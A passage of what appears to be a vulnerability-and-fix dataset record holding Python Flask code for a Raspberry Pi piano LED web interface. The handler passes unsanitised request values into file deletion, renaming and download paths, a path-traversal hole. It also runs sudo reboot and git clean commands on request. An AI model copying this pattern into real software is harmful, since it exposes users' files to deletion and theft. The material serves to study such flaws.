webinterface.ledsettings.gradient_start[\"green\"] = rgb[1]\n        webinterface.ledsettings.gradient_start[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"gradient_start_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"gradient_start_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"gradient_start_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"gradient_end_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.gradient_end[\"red\"] = rgb[0]\n        webinterface.ledsettings.gradient_end[\"green\"] = rgb[1]\n        webinterface.ledsettings.gradient_end[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"gradient_end_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"gradient_end_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"gradient_end_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_max_notes\":\n        webinterface.ledsettings.speed_max_notes = int(value)\n        webinterface.usersettings.change_setting_value(\"speed_max_notes\", int(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"speed_period_in_seconds\":\n        webinterface.ledsettings.speed_period_in_seconds = float(value)\n        webinterface.usersettings.change_setting_value(\"speed_period_in_seconds\", float(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"key_in_scale_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.key_in_scale[\"red\"] = rgb[0]\n        webinterface.ledsettings.key_in_scale[\"green\"] = rgb[1]\n        webinterface.ledsettings.key_in_scale[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"key_in_scale_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"key_in_scale_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"key_in_scale_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"key_not_in_scale_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n        webinterface.ledsettings.key_not_in_scale[\"red\"] = rgb[0]\n        webinterface.ledsettings.key_not_in_scale[\"green\"] = rgb[1]\n        webinterface.ledsettings.key_not_in_scale[\"blue\"] = rgb[2]\n\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_red\", rgb[0])\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_green\", rgb[1])\n        webinterface.usersettings.change_setting_value(\"key_not_in_scale_blue\", rgb[2])\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"scale_key\":\n        webinterface.ledsettings.scale_key = int(value)\n        webinterface.usersettings.change_setting_value(\"scale_key\", int(value))\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"next_step\":\n        webinterface.ledsettings.set_sequence(0, 1, False)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"set_sequence\":\n        if (int(value) == 0):\n            webinterface.ledsettings.__init__(webinterface.usersettings)\n            webinterface.ledsettings.sequence_active = False\n        else:\n            webinterface.ledsettings.set_sequence(int(value) - 1, 0)\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_sequence_name\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"sequence_name\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_step_value\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"next_step\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"change_step_activation_method\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n        sequence_to_edit = \"sequence_\" + str(value)\n\n        sequences_tree.getElementsByTagName(sequence_to_edit)[\n            0].getElementsByTagName(\"settings\")[\n            0].getElementsByTagName(\"control_number\")[0].firstChild.nodeValue = str(second_value)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_sequence\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        sequences_amount = 1\n        while True:\n            if (len(sequences_tree.getElementsByTagName(\"sequence_\" + str(sequences_amount))) == 0):\n                break\n            sequences_amount += 1\n\n        settings = sequences_tree.createElement(\"settings\")\n\n        control_number = sequences_tree.createElement(\"control_number\")\n        control_number.appendChild(sequences_tree.createTextNode(\"0\"))\n        settings.appendChild(control_number)\n\n        next_step = sequences_tree.createElement(\"next_step\")\n        next_step.appendChild(sequences_tree.createTextNode(\"1\"))\n        settings.appendChild(next_step)\n\n        sequence_name = sequences_tree.createElement(\"sequence_name\")\n        sequence_name.appendChild(sequences_tree.createTextNode(\"Sequence \" + str(sequences_amount)))\n        settings.appendChild(sequence_name)\n\n        step = sequences_tree.createElement(\"step_1\")\n\n        color = sequences_tree.createElement(\"color\")\n        color.appendChild(sequences_tree.createTextNode(\"RGB\"))\n        step.appendChild(color)\n\n        red = sequences_tree.createElement(\"Red\")\n        red.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(red)\n\n        green = sequences_tree.createElement(\"Green\")\n        green.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(green)\n\n        blue = sequences_tree.createElement(\"Blue\")\n        blue.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(blue)\n\n        light_mode = sequences_tree.createElement(\"light_mode\")\n        light_mode.appendChild(sequences_tree.createTextNode(\"Normal\"))\n        step.appendChild(light_mode)\n\n        element = sequences_tree.createElement(\"sequence_\" + str(sequences_amount))\n        element.appendChild(settings)\n        element.appendChild(step)\n\n        sequences_tree.getElementsByTagName(\"list\")[0].appendChild(element)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"remove_sequence\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        # removing sequence node\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # changing nodes tag names\n        i = 1\n        for sequence in sequences_tree.getElementsByTagName(\"list\")[0].childNodes:\n            if (sequence.nodeType == 1):\n                sequences_tree.getElementsByTagName(sequence.nodeName)[0].tagName = \"sequence_\" + str(i)\n                i += 1\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    if setting_name == \"add_step\":\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        step_amount = 1\n        while True:\n            if (len(sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n                    \"step_\" + str(step_amount))) == 0):\n                break\n            step_amount += 1\n\n        step = sequences_tree.createElement(\"step_\" + str(step_amount))\n\n        color = sequences_tree.createElement(\"color\")\n\n        color.appendChild(sequences_tree.createTextNode(\"RGB\"))\n        step.appendChild(color)\n\n        red = sequences_tree.createElement(\"Red\")\n        red.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(red)\n\n        green = sequences_tree.createElement(\"Green\")\n        green.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(green)\n\n        blue = sequences_tree.createElement(\"Blue\")\n        blue.appendChild(sequences_tree.createTextNode(\"255\"))\n        step.appendChild(blue)\n\n        light_mode = sequences_tree.createElement(\"light_mode\")\n        light_mode.appendChild(sequences_tree.createTextNode(\"Normal\"))\n        step.appendChild(light_mode)\n\n        sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].appendChild(step)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence, reload_steps_list=True)\n\n    # remove node list with a tag name \"step_\" + str(value), and change tag names to maintain order\n    if setting_name == \"remove_step\":\n\n        second_value = int(second_value)\n        second_value += 1\n\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        # removing step node\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n            \"step_\" + str(second_value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # changing nodes tag names\n        i = 1\n        for step in sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].childNodes:\n            if (step.nodeType == 1 and step.tagName != \"settings\"):\n                sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(step.nodeName)[\n                    0].tagName = \"step_\" + str(i)\n                i += 1\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence)\n\n    # saving current led settings as sequence step\n    if setting_name == \"save_led_settings_to_step\" and second_value != \"\":\n\n        # remove node and child under \"sequence_\" + str(value) and \"step_\" + str(second_value)\n        sequences_tree = minidom.parse(\"sequences.xml\")\n\n        second_value = int(second_value)\n        second_value += 1\n\n        nodes = sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].getElementsByTagName(\n            \"step_\" + str(second_value))\n        for node in nodes:\n            parent = node.parentNode\n            parent.removeChild(node)\n\n        # create new step node\n        step = sequences_tree.createElement(\"step_\" + str(second_value))\n\n        # load color mode from webinterface.ledsettings and put it into step node\n        color_mode = sequences_tree.createElement(\"color\")\n        color_mode.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.color_mode)))\n        step.appendChild(color_mode)\n\n        # load mode from webinterface.ledsettings and put it into step node\n        mode = sequences_tree.createElement(\"light_mode\")\n        mode.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.mode)))\n        step.appendChild(mode)\n\n        # if mode is equal \"Fading\" or \"Velocity\" load mode from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.mode == \"Fading\" or webinterface.ledsettings.mode == \"Velocity\"):\n            fadingspeed = sequences_tree.createElement(\"fadingspeed\")\n\n            # depending on fadingspeed name set different fadingspeed value\n            if (webinterface.ledsettings.fadingspeed == \"Slow\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"10\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Medium\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"20\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Fast\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"40\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Very fast\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"50\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Instant\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"1000\"))\n            elif (webinterface.ledsettings.fadingspeed == \"Very slow\"):\n                fadingspeed.appendChild(sequences_tree.createTextNode(\"2\"))\n\n            step.appendChild(fadingspeed)\n\n        # if color_mode is equal to \"Single\" load color from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Single\"):\n            red = sequences_tree.createElement(\"Red\")\n            red.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.red)))\n            step.appendChild(red)\n\n            green = sequences_tree.createElement(\"Green\")\n            green.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.green)))\n            step.appendChild(green)\n\n            blue = sequences_tree.createElement(\"Blue\")\n            blue.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.blue)))\n            step.appendChild(blue)\n\n        # if color_mode is equal to \"Multicolor\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Multicolor\"):\n            # load value from webinterface.ledsettings.multicolor\n            multicolor = webinterface.ledsettings.multicolor\n\n            # loop through multicolor object and add each color to step node under \"sequence_\"+str(value) with tag name \"color_\"+str(i)\n            for i in range(len(multicolor)):\n                color = sequences_tree.createElement(\"color_\" + str(i + 1))\n                new_multicolor = str(multicolor[i])\n                new_multicolor = new_multicolor.replace(\"[\", \"\")\n                new_multicolor = new_multicolor.replace(\"]\", \"\")\n\n                color.appendChild(sequences_tree.createTextNode(new_multicolor))\n                step.appendChild(color)\n\n            # same as above but with multicolor_range and \"color_range_\"+str(i)\n            multicolor_range = webinterface.ledsettings.multicolor_range\n            for i in range(len(multicolor_range)):\n                color_range = sequences_tree.createElement(\"color_range_\" + str(i + 1))\n                new_multicolor_range = str(multicolor_range[i])\n\n                new_multicolor_range = new_multicolor_range.replace(\"[\", \"\")\n                new_multicolor_range = new_multicolor_range.replace(\"]\", \"\")\n                color_range.appendChild(sequences_tree.createTextNode(new_multicolor_range))\n                step.appendChild(color_range)\n\n        # if color_mode is equal to \"Rainbow\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Rainbow\"):\n            # load values rainbow_offset, rainbow_scale and rainbow_timeshift from webinterface.ledsettings and put them into step node under Offset, Scale and Timeshift\n            rainbow_offset = sequences_tree.createElement(\"Offset\")\n            rainbow_offset.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_offset)))\n            step.appendChild(rainbow_offset)\n\n            rainbow_scale = sequences_tree.createElement(\"Scale\")\n            rainbow_scale.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_scale)))\n            step.appendChild(rainbow_scale)\n\n            rainbow_timeshift = sequences_tree.createElement(\"Timeshift\")\n            rainbow_timeshift.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.rainbow_timeshift)))\n            step.appendChild(rainbow_timeshift)\n\n        # if color_mode is equal to \"Speed\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Speed\"):\n            # load values speed_slowest[\"red\"] etc from webinterface.ledsettings and put them under speed_slowest_red etc\n            speed_slowest_red = sequences_tree.createElement(\"speed_slowest_red\")\n            speed_slowest_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"red\"])))\n            step.appendChild(speed_slowest_red)\n\n            speed_slowest_green = sequences_tree.createElement(\"speed_slowest_green\")\n            speed_slowest_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"green\"])))\n            step.appendChild(speed_slowest_green)\n\n            speed_slowest_blue = sequences_tree.createElement(\"speed_slowest_blue\")\n            speed_slowest_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_slowest[\"blue\"])))\n            step.appendChild(speed_slowest_blue)\n\n            # same as above but with \"fastest\"\n            speed_fastest_red = sequences_tree.createElement(\"speed_fastest_red\")\n            speed_fastest_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"red\"])))\n            step.appendChild(speed_fastest_red)\n\n            speed_fastest_green = sequences_tree.createElement(\"speed_fastest_green\")\n            speed_fastest_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"green\"])))\n            step.appendChild(speed_fastest_green)\n\n            speed_fastest_blue = sequences_tree.createElement(\"speed_fastest_blue\")\n            speed_fastest_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_fastest[\"blue\"])))\n            step.appendChild(speed_fastest_blue)\n\n            # load \"speed_max_notes\" and \"speed_period_in_seconds\" values from webinterface.ledsettings\n            # and put them under speed_max_notes and speed_period_in_seconds\n\n            speed_max_notes = sequences_tree.createElement(\"speed_max_notes\")\n            speed_max_notes.appendChild(sequences_tree.createTextNode(str(webinterface.ledsettings.speed_max_notes)))\n            step.appendChild(speed_max_notes)\n\n            speed_period_in_seconds = sequences_tree.createElement(\"speed_period_in_seconds\")\n            speed_period_in_seconds.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.speed_period_in_seconds)))\n            step.appendChild(speed_period_in_seconds)\n\n        # if color_mode is equal to \"Gradient\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Gradient\"):\n            # load values gradient_start_red etc from webinterface.ledsettings and put them under gradient_start_red etc\n            gradient_start_red = sequences_tree.createElement(\"gradient_start_red\")\n            gradient_start_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"red\"])))\n            step.appendChild(gradient_start_red)\n\n            gradient_start_green = sequences_tree.createElement(\"gradient_start_green\")\n            gradient_start_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"green\"])))\n            step.appendChild(gradient_start_green)\n\n            gradient_start_blue = sequences_tree.createElement(\"gradient_start_blue\")\n            gradient_start_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_start[\"blue\"])))\n            step.appendChild(gradient_start_blue)\n\n            # same as above but with gradient_end\n            gradient_end_red = sequences_tree.createElement(\"gradient_end_red\")\n            gradient_end_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"red\"])))\n            step.appendChild(gradient_end_red)\n\n            gradient_end_green = sequences_tree.createElement(\"gradient_end_green\")\n            gradient_end_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"green\"])))\n            step.appendChild(gradient_end_green)\n\n            gradient_end_blue = sequences_tree.createElement(\"gradient_end_blue\")\n            gradient_end_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.gradient_end[\"blue\"])))\n            step.appendChild(gradient_end_blue)\n\n        # if color_mode is equal to \"Scale\" load colors from webinterface.ledsettings and put it into step node\n        if (webinterface.ledsettings.color_mode == \"Scale\"):\n            # load values key_in_scale_red etc from webinterface.ledsettings and put them under key_in_scale_red etc\n            key_in_scale_red = sequences_tree.createElement(\"key_in_scale_red\")\n            key_in_scale_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"red\"])))\n            step.appendChild(key_in_scale_red)\n\n            key_in_scale_green = sequences_tree.createElement(\"key_in_scale_green\")\n            key_in_scale_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"green\"])))\n            step.appendChild(key_in_scale_green)\n\n            key_in_scale_blue = sequences_tree.createElement(\"key_in_scale_blue\")\n            key_in_scale_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_in_scale[\"blue\"])))\n            step.appendChild(key_in_scale_blue)\n\n            # same as above but with key_not_in_scale\n            key_not_in_scale_red = sequences_tree.createElement(\"key_not_in_scale_red\")\n            key_not_in_scale_red.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"red\"])))\n            step.appendChild(key_not_in_scale_red)\n\n            key_not_in_scale_green = sequences_tree.createElement(\"key_not_in_scale_green\")\n            key_not_in_scale_green.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"green\"])))\n            step.appendChild(key_not_in_scale_green)\n\n            key_not_in_scale_blue = sequences_tree.createElement(\"key_not_in_scale_blue\")\n            key_not_in_scale_blue.appendChild(\n                sequences_tree.createTextNode(str(webinterface.ledsettings.key_not_in_scale[\"blue\"])))\n            step.appendChild(key_not_in_scale_blue)\n\n        try:\n            sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[\n                0].insertBefore(step,\n                                sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[\n                                    0].getElementsByTagName(\"step_\" + str(second_value + 1))[0])\n        except:\n            sequences_tree.getElementsByTagName(\"sequence_\" + str(value))[0].appendChild(step)\n\n        pretty_save(\"sequences.xml\", sequences_tree)\n\n        return jsonify(success=True, reload_sequence=reload_sequence, reload_steps_list=True)\n\n    if setting_name == \"screen_on\":\n        if (int(value) == 0):\n            webinterface.menu.disable_screen()\n        else:\n            webinterface.menu.enable_screen()\n\n    if setting_name == \"reset_to_default\":\n        webinterface.usersettings.reset_to_default()\n\n    if setting_name == \"restart_rpi\":\n        call(\"sudo /sbin/reboot now\", shell=True)\n\n    if setting_name == \"turnoff_rpi\":\n        call(\"sudo /sbin/shutdown -h now\", shell=True)\n\n    if setting_name == \"update_rpi\":\n        call(\"sudo git reset --hard HEAD\", shell=True)\n        call(\"sudo git checkout .\", shell=True)\n        call(\"sudo git clean -fdx\", shell=True)\n        call(\"sudo git pull origin master\", shell=True)\n\n    if setting_name == \"connect_ports\":\n        webinterface.midiports.connectall()\n        return jsonify(success=True, reload_ports=True)\n\n    if setting_name == \"disconnect_ports\":\n        call(\"sudo aconnect -x\", shell=True)\n        return jsonify(success=True, reload_ports=True)\n\n    if setting_name == \"restart_rtp\":\n        call(\"sudo systemctl restart rtpmidid\", shell=True)\n\n    if setting_name == \"start_recording\":\n        webinterface.saving.start_recording()\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"cancel_recording\":\n        webinterface.saving.cancel_recording()\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"save_recording\":\n        now = datetime.datetime.now()\n        current_date = now.strftime(\"%Y-%m-%d %H:%M\")\n        webinterface.saving.save(current_date)\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"change_song_name\":\n        if os.path.exists(\"Songs/\" + second_value):\n            return jsonify(success=False, reload_songs=True, error=second_value + \" already exists\")\n\n        if \"_main\" in value:\n            search_name = value.replace(\"_main.mid\", \"\")\n            for fname in os.listdir('Songs'):\n                if search_name in fname:\n                    new_name = second_value.replace(\".mid\", \"\") + fname.replace(search_name, \"\")\n                    os.rename('Songs/' + fname, 'Songs/' + new_name)\n        else:\n            os.rename('Songs/' + value, 'Songs/' + second_value)\n            os.rename('Songs/cache/' + value + \".p\", 'Songs/cache/' + second_value + \".p\")\n\n\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"remove_song\":\n        if \"_main\" in value:\n            name_no_suffix = value.replace(\"_main.mid\", \"\")\n            for fname in os.listdir('Songs'):\n                if name_no_suffix in fname:\n                    os.remove(\"Songs/\" + fname)\n        else:\n            os.remove(\"Songs/\" + value)\n\n            file_types = [\".musicxml\", \".xml\", \".mxl\", \".abc\"]\n            for file_type in file_types:\n                try:\n                    os.remove(\"Songs/\" + value.replace(\".mid\", file_type))\n                except:\n                    pass\n\n            try:\n                os.remove(\"Songs/cache/\" + value + \".p\")\n            except:\n                print(\"No cache file for \" + value)\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"download_song\":\n        if \"_main\" in value:\n            zipObj = ZipFile(\"Songs/\" + value.replace(\".mid\", \"\") + \".zip\", 'w')\n            name_no_suffix = value.replace(\"_main.mid\", \"\")\n            songs_count = 0\n            for fname in os.listdir('Songs'):\n                if name_no_suffix in fname and \".zip\" not in fname:\n                    songs_count += 1\n                    zipObj.write(\"Songs/\" + fname)\n            zipObj.close()\n            if songs_count == 1:\n                os.remove(\"Songs/\" + value.replace(\".mid\", \"\") + \".zip\")\n                return send_file(\"../Songs/\" + value, mimetype='application/x-csv', attachment_filename=value,\n                                 as_attachment=True)\n            else:\n                return send_file(\"../Songs/\" + value.replace(\".mid\", \"\") + \".zip\", mimetype='application/x-csv',\n                                 attachment_filename=value.replace(\".mid\", \"\") + \".zip\", as_attachment=True)\n        else:\n            return send_file(\"../Songs/\" + value, mimetype='application/x-csv', attachment_filename=value,\n                             as_attachment=True)\n\n    if setting_name == \"download_sheet_music\":\n        file_types = [\".musicxml\", \".xml\", \".mxl\", \".abc\"]\n        i = 0\n        while i < len(file_types):\n            try:\n                new_name = value.replace(\".mid\", file_types[i])\n                return send_file(\"../Songs/\" + new_name, mimetype='application/x-csv', attachment_filename=new_name,\n                                 as_attachment=True)\n            except:\n                i += 1\n        webinterface.learning.convert_midi_to_abc(value)\n        try:\n            return send_file(\"../Songs/\" + value.replace(\".mid\", \".abc\"), mimetype='application/x-csv',\n                             attachment_filename=value.replace(\".mid\", \".abc\"), as_attachment=True)\n        except:\n            print(\"Converting failed\")\n\n\n    if setting_name == \"start_midi_play\":\n        webinterface.saving.t = threading.Thread(target=play_midi, args=(value, webinterface.midiports,\n                                                                         webinterface.saving, webinterface.menu,\n                                                                         webinterface.ledsettings,\n                                                                         webinterface.ledstrip))\n        webinterface.saving.t.start()\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"stop_midi_play\":\n        webinterface.saving.is_playing_midi.clear()\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"learning_load_song\":\n        webinterface.learning.t = threading.Thread(target=webinterface.learning.load_midi, args=(value,))\n        webinterface.learning.t.start()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"start_learning_song\":\n        webinterface.learning.t = threading.Thread(target=webinterface.learning.learn_midi)\n        webinterface.learning.t.start()\n\n        return jsonify(success=True)\n\n    if setting_name == \"stop_learning_song\":\n        webinterface.learning.is_started_midi = False\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_practice\":\n        value = int(value)\n        webinterface.learning.practice = value\n        webinterface.learning.practice = clamp(webinterface.learning.practice, 0, len(webinterface.learning.practiceList) - 1)\n        webinterface.usersettings.change_setting_value(\"practice\", webinterface.learning.practice)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_tempo\":\n        value = int(value)\n        webinterface.learning.set_tempo = value\n        webinterface.learning.set_tempo = clamp(webinterface.learning.set_tempo, 10, 200)\n        webinterface.usersettings.change_setting_value(\"set_tempo\", webinterface.learning.set_tempo)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_hands\":\n        value = int(value)\n        webinterface.learning.hands = value\n        webinterface.learning.hands = clamp(webinterface.learning.hands, 0, len(webinterface.learning.handsList) - 1)\n        webinterface.usersettings.change_setting_value(\"hands\", webinterface.learning.hands)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_mute_hand\":\n        value = int(value)\n        webinterface.learning.mute_hand = value\n        webinterface.learning.mute_hand = clamp(webinterface.learning.mute_hand, 0, len(webinterface.learning.mute_handList) - 1)\n        webinterface.usersettings.change_setting_value(\"mute_hand\", webinterface.learning.mute_hand)\n\n        return jsonify(success=True)\n\n    if setting_name == \"learning_start_point\":\n        value = int(value)\n        webinterface.learning.start_point = value\n        webinterface.learning.start_point = clamp(webinterface.learning.start_point, 0, webinterface.learning.end_point - 1)\n        webinterface.usersettings.change_setting_value(\"start_point\", webinterface.learning.start_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True)\n\n    if setting_name == \"learning_end_point\":\n        value = int(value)\n        webinterface.learning.end_point = value\n        webinterface.learning.end_point = clamp(webinterface.learning.end_point, webinterface.learning.start_point + 1, 100)\n        webinterface.usersettings.change_setting_value(\"end_point\", webinterface.learning.end_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True)\n\n    if setting_name == \"set_current_time_as_start_point\":\n        webinterface.learning.start_point = round(float(webinterface.learning.current_idx * 100 / float(len(webinterface.learning.song_tracks))), 3)\n        webinterface.learning.start_point = clamp(webinterface.learning.start_point, 0, webinterface.learning.end_point - 1)\n        webinterface.usersettings.change_setting_value(\"start_point\", webinterface.learning.start_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"set_current_time_as_end_point\":\n        webinterface.learning.end_point = round(float(webinterface.learning.current_idx * 100 / float(len(webinterface.learning.song_tracks))), 3)\n        webinterface.learning.end_point = clamp(webinterface.learning.end_point, webinterface.learning.start_point + 1, 100)\n        webinterface.usersettings.change_setting_value(\"end_point\", webinterface.learning.end_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_handL_color\":\n        value = int(value)\n        webinterface.learning.hand_colorL += value\n        webinterface.learning.hand_colorL = clamp(webinterface.learning.hand_colorL, 0, len(webinterface.learning.hand_colorList) - 1)\n        webinterface.usersettings.change_setting_value(\"hand_colorL\", webinterface.learning.hand_colorL)\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_handR_color\":\n        value = int(value)\n        webinterface.learning.hand_colorR += value\n        webinterface.learning.hand_colorR = clamp(webinterface.learning.hand_colorR, 0, len(webinterface.learning.hand_colorList) - 1)\n        webinterface.usersettings.change_setting_value(\"hand_colorR\", webinterface.learning.hand_colorR)\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_learning_loop\":\n        value = int(value == 'true')\n        webinterface.learning.is_loop_active = value\n        webinterface.usersettings.change_setting_value(\"is_loop_active\", webinterface.learning.is_loop_active)\n\n        return jsonify(success=True)\n\n\n    return jsonify(success=True)"}], "fix_func": [{"id": "fix_py_105_1", "commit": "3f10602", "file_path": "webinterface/views_api.py", "start_line": "146", "end_line": "1115", "snippet": "def change_setting():\n    setting_name = request.args.get('setting_name')\n    value = request.args.get('value')\n    second_value = request.args.get('second_value')\n    disable_sequence = request.args.get('disable_sequence')\n\n    reload_sequence = True\n    if (second_value == \"no_reload\"):\n        reload_sequence = False\n\n    if (disable_sequence == \"true\"):\n        webinterface.ledsettings.__init__(webinterface.usersettings)\n        webinterface.ledsettings.sequence_active = False\n\n    if setting_name == \"clean_ledstrip\":\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n    if setting_name == \"led_color\":\n        rgb = wc.hex_to_rgb(\"#\" + value)\n\n        